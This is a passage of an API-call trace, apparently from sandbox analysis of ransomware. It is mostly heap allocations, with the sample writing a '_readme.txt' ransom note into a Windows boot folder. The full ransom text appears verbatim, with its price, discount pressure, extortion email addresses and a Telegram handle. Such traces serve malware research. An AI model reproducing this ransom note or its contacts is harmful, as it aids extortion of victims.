returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.686] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.686] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.686] PathFindFileNameW (pszPath="") returned="" [0119.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.686] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.687] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.687] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.687] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.687] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0119.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.687] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0119.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.688] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.688] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.688] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.688] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.688] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.688] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.688] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.688] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.689] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: 